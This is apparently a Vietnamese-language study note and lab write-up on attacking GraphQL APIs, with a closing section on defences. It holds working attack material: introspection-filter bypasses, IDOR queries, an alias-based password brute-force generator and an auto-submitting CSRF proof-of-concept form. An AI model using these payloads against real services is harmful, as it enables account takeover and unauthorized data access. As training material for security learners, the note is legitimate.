GraphQL API Vulnerabilities

Các lỗ hổng của GraphQL API thường đến từ thiết kế/hiện thực sai. Ví dụ, bật introspection có thể giúp attacker truy vấn thông tin schema.

Tấn công vào GraphQL API thường là request độc hại cho phép thu thập thông tin hoặc thực hiện hành động trái phép. GraphQL cũng dễ gây rò rỉ thông tin.

Finding GraphQL Endpoints

Trước khi test, chúng ta cần tìm HTTP endpoint của GraphQL.

Universal Queries

Khi gửi query { __typename } đến GraphQL endpoint, chúng ta thường nhận {"data":{"__typename":"query"}}. Trường đặc biệt __typename trả về kiểu của đối tượng hiện tại (ở root là query).

Có thể tận dụng để xác định URL là GraphQL endpoint hay không.

Common Endpoint Names

Endpoint thường gặp:

  • /graphql
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Có thể dùng universal query ở các endpoint trên.

Nếu không có phản hồi, thử thêm prefix như /v1.

Note

Chú ý rằng các dịch vụ GraphQL thường trả về lỗi “query not present” hoặc các lỗi tương tự khi nhận được các request không phải là GraphQL.

Request Methods

Best practice: chỉ nhận POST với Content-Type: application/json để giảm CSRF. Tuy nhiên, nhiều endpoint vẫn nhận GET hoặc x-www-form-urlencoded.

Trong trường hợp không thể tìm ra GraphQL endpoint sử dụng POST request, có thể thử dùng các HTTP method khác.

Exploiting Unsanitized Arguments

Nếu GraphQL dùng đối số người dùng để truy cập trực tiếp object, có thể dính IDOR. Người dùng đổi đối số để đọc dữ liệu không thuộc quyền (IDOR).

Ví dụ, query sau truy vấn danh sách các sản phẩm:

#Example product query
 
query {
  products {
    id
    name
    listed
  }
}

Response từ server:

#Example product response
 
{
	"data": {
		"products": [
			{
				"id": 1,
				"name": "Product 1",
				"listed": true
			},
			{
				"id": 2,
				"name": "Product 2",
				"listed": true
			},
			{
				"id": 4,
				"name": "Product 4",
				"listed": true
			}
		]
	}
}

Có thể thấy:

  • ID của sản phẩm tăng dần.
  • Sản phẩm với ID là 3 không có trong response từ server.

Bằng cách truyền vào ID của sản phẩm không có trong response, chúng ta có thể truy vấn được thông tin của sản phẩm này:

#Query to get missing product
 
query {
  product(id: 3) {
    id
    name
    listed
  }
}
#Missing product response
 
{
	"data": {
		"product": {
		"id": 3,
		"name": "Product 3",
		"listed": no
		}
	}
}

Discovering Schema Information

Running a Full Introspection Query

Để có thể thu thập các thông tin liên quan đến schema, chúng ta có thể sử dụng introspection1.

Ví dụ, chúng ta có thể dùng introspection query sau để truy vấn tất cả các query mà server hỗ trợ:

#Introspection probe request
 
{
	"query": "query IntrospectionQuery {__schema{queryType{name}}}"
}

Hoặc sử dụng introspection query sau để truy vấn chi tiết hơn về tất cả các query, mutation, subscription, type và fragment:

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    subscriptionType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      args {
        ...InputValue
      }
    }
  }
}
 
fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
 
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
 
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
      }
    }
  }
}

Info

Burp Suite có hỗ trợ tạo các introspection query: Working with GraphQL in Burp Suite - PortSwigger.

Visualizing Introspection Results

Kết quả trả về của introspection query có thể rất dài và khó đọc nên có thể dùng công cụ nathanrandal.com/graphql-visualizer để trực quan hóa các mối quan hệ giữa các thao tác và các kiểu dữ liệu.

Suggestions

Kể cả khi introspection bị disable thì chúng ta có thể dùng tính năng suggestion, được hỗ trợ bởi nền tảng Apollo GraphQL. Tính năng này cho phép server có thể gợi ý người dùng về cấu trúc của API từ một câu query “gần đúng” chẳng hạn như There is no entry for 'productInfo'. Did you mean 'productInformation' instead?.

Có thể dùng công cụ nikitastupin/clairvoyance để thu thập thông tin về schema thông qua tính năng suggestion.

Info

Chúng ta không thể disable tính năng suggestion của Apollo một cách trực tiếp. Xem thêm: Disable suggestions in errors message · Issue #3919 · apollographql/apollo-server.

Lab: Accessing Private GraphQL Posts

Tìm thấy GraphQL endpoint:

POST /graphql/v1 HTTP/2

Câu query dùng để truy vấn tất cả các bài blog:

query getBlogSummaries {
  getAllBlogPosts {
    image
    title
    summary
    id
  }
}

Kết quả trả về thiếu mất blog với ID là 3:

{
  "data": {
    "getAllBlogPosts": [
      {
        "image": "/image/blog/posts/51.jpg",
        "title": "Favours",
        "summary": "Favours are a tricky thing. Some people seem to ask for them all the time, some people hardly ever do and some people outright refuse to ever ask for one as they don't want to end up owing someone.",
        "id": 4
      },
      {
        "image": "/image/blog/posts/35.jpg",
        "title": "Hobbies",
        "summary": "Hobbies are a massive benefit to people in this day and age, mainly due to the distractions they bring. People can often switch off from work, stress and family for the duration of their hobbies. Maybe they're playing sports, knitting...",
        "id": 2
      },
      {
        "image": "/image/blog/posts/67.jpg",
        "title": "The Lies People Tell",
        "summary": "The best kind of lies are the ones you overhear other people telling. You know they are lying because you're standing in a bar when you hear them on the phone saying, 'I'm in the grocery store.' At times like...",
        "id": 1
      },
      {
        "image": "/image/blog/posts/28.jpg",
        "title": "The history of swigging port",
        "summary": "The 'discovery' of port dates back to the late Seventeenth Century when British sailors stumbled upon the drink in Portugal and then stumbled even more slowly home with several more bottles. It has been said since then that Portugal is...",
        "id": 5
      }
    ]
  }
}

Khi click vào một bài blog cụ thể thì ứng dụng gửi query sau:

query getBlogPost($id: Int!) {
  getBlogPost(id: $id) {
    image
    title
    author
    date
    paragraphs
  }
}

Biến sử dụng cho query trên là:

{"id":4}

Thay id thành 3 thì nhận được response như sau:

{
  "data": {
    "getBlogPost": {
      "image": "/image/blog/posts/32.jpg",
      "title": "A Guide to Online Dating",
      "author": "Andy Trick",
      "date": "2024-11-20T00:46:41.753Z",
      "paragraphs": [
        "Let's face it, it's a minefield out there. That's not even just a reference to dating, the planet right now is more or less a minefield. In a world where cats have their own YouTube channels and a celebrity can become president, why is it so inconceivable there's someone out there for all of us? Luckily, someone invented the internet.",
        "Somewhere along the line people decided that doing something ridiculous, like meeting another human being organically, was old hat. Why take the time to speak to people face to face and waste breath explaining to each individual person who you are, what you do and that you don't like dogs? Just put it all in a biography next to your best photo and let them ogle you in the cyber zoo.",
        "Then of course, you get to ogle too. Yes, you may have spotted Mark in the bar and thought he's perfect, handsome and tall. But, he doesn't have that bio next to his head that states just how much he loves to collect stamps.",
        "The point is, with internet dating, you can iron out the inconsistencies of another human being before you even have to meet them. You may well match with someone online you seem compatible with and then you talk through your hobbies and interests. Be sure to ask in depth questions when you match with someone while also being happy and bashful. Just remember, act like the dwarfs with positive names.",
        "Getting to know that person a little better before committing to a meeting is paramount. It avoids any awkward conversations like: 'Oh I thought you meant clubbing as in dancing, not seals.' It is imperative you think you'll be a good match with this person!",
        "Should you find something out about them having three previous marriages that all ended abruptly, don't judge them right away. Do however, google their name to see if the phrase 'not enough evidence to prosecute' comes up. Never judge a book by its cover, but make sure you give the blurb a darn good read before committing to read the whole thing.",
        "This may go down as some rather startling news, but if it seems to good to be true, it probably is. That stunner, with the incredible photos, laughing at every joke you type, complimenting that hideous picture of you from last year, may not be who they say. Maybe they are, maybe that surfing champion sponsored by Nike really does think you're brilliant, but probably not. Schedule a meet up if things are going well online, don't send them your pin number. If you turn up and the person of your dreams is a bit older and rounder than how they were in the pictures then no harm done. Should you be scammed for hundreds because you were so sure they were real' harm done.",
        "It's a minefield, no doubt. But with the right amount of searching, asking questions and general common sense, you may just find the right person for you. It's the opposite to what we were taught as kids, talk to strangers and if they offer it, take their candy."
      ]
    }
  }
}

Thử sử dụng introspection query thì tìm được trường có tên là postPassword ở trong BlogPost object:

{
  "name": "postPassword",
  "description": null,
  "args": [],
  "type": {
    "kind": "SCALAR",
    "name": "String",
    "ofType": null
  },
  "isDeprecated": false,
  "deprecationReason": null
}

Thêm trường này vào câu query đến blog có ID là 3 thì nhận được password như sau:

"postPassword": "1mh9izlfu35jj6gr2vdb55z3t3igo6tm"

Lab: Accidental Exposure of Private GraphQL Fields

Câu query dùng để đăng nhập:

mutation login($input: LoginInput!) {
  login(input: $input) {
    token
    success
  }
}

Các biến mà nó sử dụng:

{"input":{"username":"admin","password":"admin"}}

Sử dụng introspection query rồi trực quan hóa bằng GraphQL Visualizer thì thấy có một query tên là getUser:

Xây dựng query như sau:

query getUser {
  getUser(id: 1) {
    username
    password
  }
}

Kết quả trả về có chứa password của administrator:

{
  "data": {
    "getUser": {
      "username": "administrator",
      "password": "dyrrke63w665t33j8upy"
    }
  }
}

Đăng nhập và xóa người dùng carlos để hoàn thành lab.

Bypassing GraphQL Introspection Defenses

Developer có thể tắt tính năng introspection bằng cách sử dụng regex để loại bỏ từ khóa __schema. Tuy nhiên, kẻ tấn công có thể sử dụng khoảng trắng, ký tự xuống dòng và dấu phẩy để bypass regex mà không làm thay đổi ý nghĩa của câu query ở trong GraphQL.

Ví dụ, nếu developer chỉ loại bỏ những request nào có chuỗi __schema{ thì câu query sau sẽ có thể bypass:

#Introspection query with newline
 
{
	"query": "query{__schema
	{queryType{name}}}"
}

Nếu cách làm trên không thành công, có thể dùng GET request vì introspection có thể chỉ bị disable đối với các POST request. Hoặc cũng có thể thử các POST request mà có Content-Typex-www-form-urlencoded.

Ví dụ bên dưới là một GET request có chứa introspection query được URL-encoded ở trong query parameter:

GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D HTTP/1.1

Tip

Chúng ta có thể lưu các GraphQL query vào tab “Site map” của Burp Suite bằng cách nhấn chuột phải vào câu query và chọn “Save GraphQL queries to site map”.

Lab: Finding a Hidden GraphQL Endpoint

Trước tiên thử với introspection query như sau:

GET /graphql/v1 HTTP/2
Host: 0a29000c0426f0ae8458bfcb0021004f.web-security-academy.net
Cookie: session=qQVbqvSSWVvnCHEHYJxNKXjpID4WpzJQ
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Referer: https://0a29000c0426f0ae8458bfcb0021004f.web-security-academy.net/product?productId=1
Content-Type: application/json
Content-Length: 39
 
{
	"query":"query{__schema {queryType{name}}}"
}

Server trả về response có status code là 404.

Chuyển request đến Intruder và lặp qua các endpoint sau:

  • /graphql
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Tìm thấy GraphQL endpoint ở path /api dựa trên response mà nó trả về:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 156
 
{
  "errors": [
    {
      "locations": [],
      "message": "GraphQL introspection is not allowed, but the query contained __schema or __type"
    }
  ]
}

Có thể thấy, ứng dụng phát hiện được câu query có chứa __schema.

Bypass bằng cách thêm vào ký tự xuống dòng ở sau keyword __schema:

{
	"query":"query IntrospectionQuery {
    __schema
 {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}
 
...

Trực quan hóa kết quả trả về thì tìm thấy query getUser như sau:

Xây dựng query:

query getUser {
  getUser(id: 1) {
    id
    username
  }
}

Gửi request có chứa query:

POST /api HTTP/2
Host: 0a29000c0426f0ae8458bfcb0021004f.web-security-academy.net
Cookie: session=HxlSgAFPoGoWhQJT8OT15LsE8hn2lL8U
Content-Length: 94
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a460089031d090789c0053b0091007a.web-security-academy.net
Referer: https://0a460089031d090789c0053b0091007a.web-security-academy.net/login
 
{"query":"query getUser {\n     getUser(id: 3){\n          id\n          username\n     }\n}"}

Note

Nếu không có Content-Type: application/json thì server sẽ phản hồi như sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 19
 
"Query not present"

Kết quả trả về cho thấy ứng dụng không cho sử dụng POST request:

HTTP/2 405 Method Not Allowed
Allow: GET
Content-Type: application/json; charset=utf-8
Set-Cookie: session=4TSOwFGOWAusHurePcy9jPHG4sSAhHiO; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 20
 
"Method Not Allowed"

Thay đổi thành GET và nhận được response như sau:

{
  "data": {
    "getUser": {
      "id": 3,
      "username": "carlos"
    }
  }
}

Như vậy, chúng ta biết được carlosid là 3. Tuy nhiên, cần phải tìm cách để xóa user.

Kiểm tra kỹ kết quả trả về của introspection query thì thấy có một mutation như sau:

{
  "kind": "OBJECT",
  "name": "mutation",
  "description": null,
  "fields": [
	{
	  "name": "deleteOrganizationUser",
	  "description": null,
	  "args": [
		{
		  "name": "input",
		  "description": null,
		  "type": {
			"kind": "INPUT_OBJECT",
			"name": "DeleteOrganizationUserInput",
			"ofType": null
		  },
		  "defaultValue": null
		}
	  ],
	  "type": {
		"kind": "OBJECT",
		"name": "DeleteOrganizationUserResponse",
		"ofType": null
	  },
	  "isDeprecated": false,
	  "deprecationReason": null
	}
  ],
  "inputFields": null,
  "interfaces": [],
  "enumValues": null,
  "possibleTypes": null
}

Object DeleteOrganizationUserInput và object DeleteOrganizationUserResponse:

{
  "kind": "INPUT_OBJECT",
  "name": "DeleteOrganizationUserInput",
  "description": null,
  "fields": null,
  "inputFields": [
	{
	  "name": "id",
	  "description": null,
	  "type": {
		"kind": "NON_NULL",
		"name": null,
		"ofType": {
		  "kind": "SCALAR",
		  "name": "Int",
		  "ofType": null
		}
	  },
	  "defaultValue": null
	}
  ],
  "interfaces": null,
  "enumValues": null,
  "possibleTypes": null
},
{
  "kind": "OBJECT",
  "name": "DeleteOrganizationUserResponse",
  "description": null,
  "fields": [
	{
	  "name": "user",
	  "description": null,
	  "args": [],
	  "type": {
		"kind": "NON_NULL",
		"name": null,
		"ofType": {
		  "kind": "OBJECT",
		  "name": "User",
		  "ofType": null
		}
	  },
	  "isDeprecated": false,
	  "deprecationReason": null
	}
  ],
  "inputFields": null,
  "interfaces": [],
  "enumValues": null,
  "possibleTypes": null
}

Xây dựng mutation để xóa user carlos dựa trên những thông tin trên:

mutation deleteOrganizationUser {
  deleteOrganizationUser(input: { id: 3 }) {
    user {
      id
      username
    }
  }
}

Giải thích mutation:

  • Chúng ta chỉ định tên của mutation là deleteOrganizationUser giống với trong kết quả trả về của introspection query.
  • Đối số đầu vào của deleteOrganizationUser có kiểu DeleteOrganizationUserInput bao gồm trường id. Giá trị của id là 3 vì nó là ID của carlos.
  • Giá trị trả về cũng như là dữ liệu mà chúng ta muốn truy vấn của deleteOrganizationUser là kiểu DeleteOrganizationUserResponse bao gồm một trường là user có kiểu là User. Như đã biết từ hình minh họa, kiểu User có hai trường là id (kiểu Int) và username (kiểu String).

Câu query ở dạng JSON:

{"query":"mutation deleteOrganizationUser {
	deleteOrganizationUser(input: {id: 3}) {
		user {
			id
			username
		}
	}
}"}

Kết quả trả về:

{
  "data": {
    "deleteOrganizationUser": {
      "user": {
        "id": 3,
        "username": "carlos"
      }
    }
  }
}

Bypassing Rate Limiting Using Aliases

Tính năng alias2 cho phép một query có thể truy vấn nhiều instance của cùng một type.

Mặc dù alias được sử dụng để giảm thiểu số lượng request cần gửi nhưng nó vẫn có thể bị lạm dụng để brute-force GraphQL endpoint. Cụ thể hơn, nếu ứng dụng có rate limit dựa trên số lượng request thay vì dựa trên số lượng thao tác có trong query thì chúng ta có thể dùng alias để bypass.

Ví dụ sau sử dụng alias để gửi nhiều yêu cầu kiểm tra xem discount code có hợp lệ hay không:

#Request with aliased queries
 
query isValidDiscount($code: Int) {
  isvalidDiscount(code: $code) {
    valid
  }
  isValidDiscount2: isValidDiscount(code: $code) {
    valid
  }
  isValidDiscount3: isValidDiscount(code: $code) {
    valid
  }
}

Lab: Bypassing GraphQL Brute Force Protections

Tìm thấy GraphQL endpoint cũng như là mutation dùng để đăng nhập:

POST /graphql/v1 HTTP/2
Host: 0a10008d03946d12827102ab00b00011.web-security-academy.net
Cookie: session=GM6tn8BbsKhk0UHGHec8ei53k6GRSDqC
Content-Length: 230
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a10008d03946d12827102ab00b00011.web-security-academy.net
Referer: https://0a10008d03946d12827102ab00b00011.web-security-academy.net/login
 
{"query":"\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }","operationName":"login","variables":{"input":{"username":"carlos","password":"abc"}}}

Mutation:

mutation login($input: LoginInput!) {
  login(input: $input) {
    token
    success
  }
}

Biến sử dụng:

{ "input": { "username": "carlos", "password": "abc" } }

Kết quả trả về:

{
  "data": {
    "login": {
      "token": "GM6tn8BbsKhk0UHGHec8ei53k6GRSDqC",
      "success": false
    }
  }
}

Sử dụng script sau để tạo mutation dùng để brute-force dựa trên wordlist cho sẵn:

# List of passwords to use in the mutation
wordlist = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111",
    "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein",
    "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael",
    "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe",
    "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster",
    "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster",
    "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn",
    "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753",
    "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love",
    "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321",
    "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor",
    "monitoring", "montana", "moon", "moscow"
]
 
# Base username
username = "carlos"
 
# Function to generate the GraphQL mutation
def generate_graphql_mutation(wordlist, username):
    mutation = "mutation {\n"
    for i, password in enumerate(wordlist, start=1):
        mutation += f'    login{i}: login(input: {{username: "{username}", password: "{password}"}}) {{\n'
        mutation += f'        token\n'
        mutation += f'        success\n'
        mutation += f'    }}\n'
    mutation += "}"
    return mutation
 
# Generate and print the mutation
graphql_mutation = generate_graphql_mutation(wordlist, username)
print(graphql_mutation)

Kết quả trả về có đoạn sau:

"login77": {
  "token": "UEjGDj6rdRUGEu4N32rNgFWgpxhQMkQO",
  "success": true
}

Password tương ứng là cheese.

GraphQL CSRF

GraphQL API có thể được dùng làm attack vector cho CSRF attack nhằm gửi những request dưới danh nghĩa của người dùng. Lỗ hổng này xảy ra khi GraphQL endpoint không validate Content-Type của các request và không triển khai CSRF token.

Các POST request có Content-Typeapplication/json sẽ không bị tấn công nếu ứng dụng có thực hiện validate Content-Type. Tuy nhiên, nếu GraphQL endpoint chấp nhận các request có method khác chẳng hạn như GET hoặc Content-Typex-www-form-urlencoded thì vẫn có thể bị tấn công.

Lab: Performing CSRF Exploits Over GraphQL

Mutation dùng để login:

mutation login($input: LoginInput!) {
  login(input: $input) {
    token
    success
  }
}

Biến sử dụng:

{"input":{"username":"wiener","password":"peter"}}

Response có cookie với SameSite=None:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu; Secure; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 113
 
{
  "data": {
    "login": {
      "token": "uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu",
      "success": true
    }
  }
}

Request thay đổi email:

POST /graphql/v1 HTTP/2
Host: 0a22005103c560e6822dc94900bb00f7.web-security-academy.net
Cookie: session=uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu; session=uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu
Content-Length: 231
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a22005103c560e6822dc94900bb00f7.web-security-academy.net
Referer: https://0a22005103c560e6822dc94900bb00f7.web-security-academy.net/my-account
 
{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n","operationName":"changeEmail","variables":{"input":{"email":"wiener@normal-user.net"}}}

Mutation:

mutation changeEmail($input: ChangeEmailInput!) {
  changeEmail(input: $input) {
    email
  }
}

Biến sử dụng:

{"input":{"email":"wiener@normal-user.net"}}

Nếu xóa cookie thì sẽ gặp lỗi sau:

{
  "errors": [
    {
      "path": ["changeEmail"],
      "extensions": {
        "message": "You must be logged in to change email"
      },
      "locations": [
        {
          "line": 1,
          "column": 24
        }
      ],
      "message": "Exception while fetching data (/changeEmail) : You must be logged in to change email"
    }
  ],
  "data": {
    "changeEmail": null
  }
}

Có thể gửi request thay đổi email với Content-Typex-www-form-urlencoded:

POST /graphql/v1 HTTP/2
Host: 0a22005103c560e6822dc94900bb00f7.web-security-academy.net
Cookie: session=uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu
Content-Type: x-www-form-urlencoded
Content-Length: 94
 
query=mutation changeEmail { changeEmail(input: {email: "evil@normal-user.net"}) { email } }

Tạo CSRF PoC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form
      action="https://0a22005103c560e6822dc94900bb00f7.web-security-academy.net/graphql/v1"
      method="POST"
    >
      <input
        type="hidden"
        name="query"
        value='mutation changeEmail { changeEmail(input: {email: "evil@evil.net"}) { email } }'
      />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState("", "", "/")
      document.forms[0].submit()
    </script>
  </body>
</html>

Chuyển giao cho nạn nhân để hoàn thành lab.

Preventing GraphQL Attacks

Các bước để ngăn chặn các tấn công liên quan đến GraphQL:

  • Nếu API không được sử dụng công khai: tắt introspection.
  • Nếu API được sử dụng công khai thì introspection có thể được bật. Khi đó, xem lại schema để đảm bảo không để lộ trường thông tin nào nhạy cảm chẳng hạn như email hoặc user ID.
  • Đảm bảo rằng tính năng suggestion bị tắt.

Để ngăn chặn brute-force hoặc DoS:

  • Giới hạn độ sâu của query, nhất là các query có nhiều lớp lồng nhau, nhằm đảm bảo server không bị DoS.
  • Cấu hình giới hạn thao tác (operation limit) nhằm kiểm soát số lượng trường duy nhất, alias, và các trường root được phép sử dụng trong một truy vấn.
  • Cấu hình số lượng byte tối đa mà một query có thể có.
  • Cấu hình phân tích chi phí thực hiện query. Nếu query quá phức tạp thì sẽ bỏ qua nhằm tiết kiệm tài nguyên tính toán.

Để ngăn chặn các tấn công liên quan đến CSRF:

  • Chỉ nhận các POST request có Content-Typeapplication/json.
  • Đảm bảo nội dung trong request body có kiểu khớp với Content-Type đã khai báo.
  • Có cơ chế chống CSRF.

Resources

Footnotes

  1. xem thêm Introspection

  2. xem thêm Aliases